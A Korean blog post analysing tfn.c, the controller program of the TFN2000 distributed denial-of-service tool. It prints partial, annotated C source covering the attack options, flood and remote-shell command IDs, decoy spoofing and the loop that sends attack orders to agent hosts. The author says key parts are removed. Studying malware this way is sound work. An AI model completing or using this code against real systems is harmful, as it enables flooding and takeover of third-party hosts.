[2000년 자료] TFN2000 의 tfn.c 분석 (2) tfn.c 분석

먼저 분석하는 것은 공격자의 컴퓨터에서 실행되는 tfn.c 파일이다. 물론
프로그램의 흐름에 관한 부분만을 유지하고 상당한 부분들을 삭제하였으므로 그대로
사용할 수는 없을 것이다. ^^ 이 프로그램은 공격자의 컴퓨터, 즉 공격 서버에 위치하여
공격의 매개가 되는 컴퓨터들을 제어한다. (서버 프로그램)이 파일에는 main, passchk,
tfn_sendto, usage 함수가 들어 있다.

#include “tribe.h”  /*이것은 이 프로그램의 헤더 파일이다. */
#define RETRY 20
/*공격 재시도 횟수….. 정도로 생각하면 된다. tfn_sendto() 함수에서 사용된다. */

/*생략된 부분에는 기타 함수들과 변수들이 선언되어 있다.*/

#ifdef REQUIRE_PASS /*컴파일시 이 옵션을 주었다면 실행시 패스워드를 체크한다.*/
void passchk (void);
#endif

#ifdef WINDOZE
extern char *optarg;
int getopt (int, char *const *, const char *);
#endif

int main (int argc, char **argv)
{

while ((opt = getopt (argc, argv, “P:D:S:f:h:i:p:c:”)) != EOF)
/*각종 옵션들을 주었는데, 이 옵션들을 일일히 다 확인할 동안 루프가 돈다.*/
switch (opt)
{
case ‘P’:
/* 공격 방식으로서의 icmp, udp, tcp의 프로토콜을 0,1,2의 숫자로 결정한다.
이 옵션이 없으면 랜덤으로 들어간다. */
if (strcasecmp (optarg, “icmp”) == 0)
proto = 0;
if (strcasecmp (optarg, “udp”) == 0)
proto = 1;
if (strcasecmp (optarg, “tcp”) == 0)
proto = 2;
break;
case ‘D’:
/*유혹용 타겟에 대응하는 진짜의 것에 거짓된 요청을 보낸다.*/
/*여기서 atoi 함수는 str이 지정하는 문자열을 정수형으로 변환한다.*/
decoy = atoi (optarg);
break;
case ‘S’:
/*자신의 ip 주소를 myip 라는 변수로 받는다. */
myip = resolve (optarg);
break;
case ‘f’:
/*접속할 컴퓨터들, 즉 공격의 매개가 되는 에이전트들의 리스트를 포함하는
파일의 이름을 표준 입력으로 받는다. */
if ((tfnlist = fopen (optarg, “r”)) == NULL)
{
printf (“Unable to open file: %sn”, optarg);
usage (argv[0]);
}
break;
case ‘h’:
/*접속할 에이전트들의 이름을 직접 입력하는 모드. 파일을 사용하지 않을 경우
사용하는 옵션. */
tfnhost = resolve (optarg);
break;
case ‘i’:
/*에이전트들의 이름을 나누어 @와 같은 것으로 구분하여 보여준다. */
target = malloc (BS);
strncpy (target, optarg, BS);
break;
case ‘p’:
/*따로 공격할 포트를 정할 때. */
port = malloc (BS);
strncpy (port, optarg, BS);
break;
case ‘c’:
/*숫자로 되어 있는 명령을 선택하여 직접적인 공격 방식을 정한다.*/
cid = atoi (optarg);
break;
default:
/*아무 것도 선택하지 않으면 경고 메시지가 뜬다.*/
usage (argv[0]);
break;
}

printf (“tProtocol      : “);
/*여기서 -P 에서 옵선 넣은 것들. 즉 프로토콜응 확인 차원에서 보여 준다.
생략 하였지만, 0에서는 icmp, 1에서는 udp, 2에서는 tcp 이다.
아무 것도 입력하지 않았으면 프로그램에서 랜덤하게 선택한다는 것이 출력된다.
다음으로는 유혹용 타겟이 출력된다. 이런 식으로 아까 입력 받은 것들을
하나씩 확인하는 과정이 포함된다. 분석에는 별 도움이 안 되어 생략. */

printf (“tCommand       : “);
/*여기서 보이는 부분은 아까의 -c 옵션에서의 선택 명령들이다. 간단히 소개한다.
물론 여기서도 어떤 명령을 선택하였는지 확인하는 과정이므로 소스를 생략한다.*/
switch (cid)
{
case 0: /*공격을 종료하는 명령.*/
case 1: /*스푸핑하는 레벨을 재조정한다. */
case 2: /*한 번에 보이는 패킷의 사이즈를 조정한다. */
case 3: /*포트를 통해 bind 루트셸을 빼앗아 온다. */
case 4: /*udp 플러드 공격을 한다. */
case 5: /*tcp/syn 공격을 한다. */
case 6: /*icmp/ping 공격을 한다. */
case 7: /*icmp/smurf 공격을 한다. */
case 8: /*뒤섞어서 공격한다.*/
case 9: /*tanga3 로 공격한다. 이것은 TFN을 만든 Mixter의 해킹 툴이다. */
case 10: /*원격으로 명령을 실행한다.*/
default:
/*에러를 출력한다. 명령을 받겠다는 옵션으로 명령이 들어오지 않았으므로 에러.*/
}

#ifdef REQUIRE_PASS
passchk (); /*컴파일시의 옵션에 따라 패스워드를 확인한다.*/
#endif

printf (“nSending out packets: “);
fflush (stdout);

security_through_obscurity (1);

/* tfn 리스트 파일이 따로 없으면 아까 -h의 옵션으로 받은 호스트로 연결한다.
리스트 파일이 있으면 파일을 읽어 각각으로 연결한다.*/
if (tfnlist == NULL)
tfn_sendto (tfnhost);
else /*파일이 있을 때*/
while (fgets (nexthost, 512, tfnlist) != NULL)
{
/*파일을 읽어 nexthost 배열에 저장한다. 이것을 넘긴다. */
trimbuf (nexthost);
tfnhost = resolve (nexthost);
/*에이전트들의 주소가 유효한 것인지를 확인한다. */
if (tfnhost)
/*에이전트들에게 공격 명령을 보낸다. 이 함수에 관해서는 뒤에 설명한다.*/
tfn_sendto (tfnhost);
}

printf (“n”);
return 0;
}

#ifdef REQUIRE_PASS
void
passchk (void)
{
/*패스워드를 체크하는 함수. 패스워드와 관련된 것은 aes.c, base64.c, cast.c,
mkpass.c 등의 함수이다. mkpass가 실행되면 새로 입력된 패스워드는 위의
파일들이 실행되어 암호화되어 파일에 저장되고, 이것이 실행시 입력되는
패스워드가 암호화 된 것과 비교되어 패스워드가 체크된다.*/
}
#endif

void
tfn_sendto (unsigned long dst)
/*각 에이전트들에게 공격 명령을 전달하는 함수. 목록 안의 에이전트들에게 어느
호스트를 어떤 식으로 공격할 것인지를 넘긴다. */
{
/*공격 명령을 반복하여 전달한다. 기본값은 20회이지만 변경할 수 있다.*/
for (i = 0; i < RETRY; i++)     {
if (cid == 5)/*tcp/syn 플러드 공격을 선택하였을 경우*/
{
strcpy (lport, port); /*공격할 포트를 lport라는 변수로 복사하여*/
tfntransmit (src, dst, proto, ID_SYNPORT, lport);
/*이 함수로 넘긴다. 이것에 관해서는 추후 설명. */
}
strcpy (ltarget, target); /*공격할 타겟을 ltarget으로 복사한다.*/
tfntransmit (src, dst, proto, RID, ltarget);
/*이 함수의 역할은 추후 설명. 에이전트들과의 통신을 하는 부분으로
생각하면 된다. */
if (decoy)
/*가짜 요청을 계속 보낸다.*/
for (j = 0; j < decoy; j++)
{
usleep (10);
strcpy (ltarget, target);
tfntransmit (src, k00lip (), proto, RID, ltarget);
}
}

fflush (stdout);
}

void
usage (char *arg)
{
/*이 함수는 위에서 설명한 사용 방법들을 화면에 출력해 준다.
이것은 프로그램 작동에 문제가 있었을 경우 흔히 볼 수 있는 것들과 같다.*/
}

TFN에 관한 설명: http://cert.certcc.or.kr/paper/ 내용 일부 인용
소스 : Mixter의 홈페이지. 분석 : 전혜진 @ Mod777

답글 남기기

이메일은 공개되지 않습니다. 필수 입력창은 * 로 표시되어 있습니다.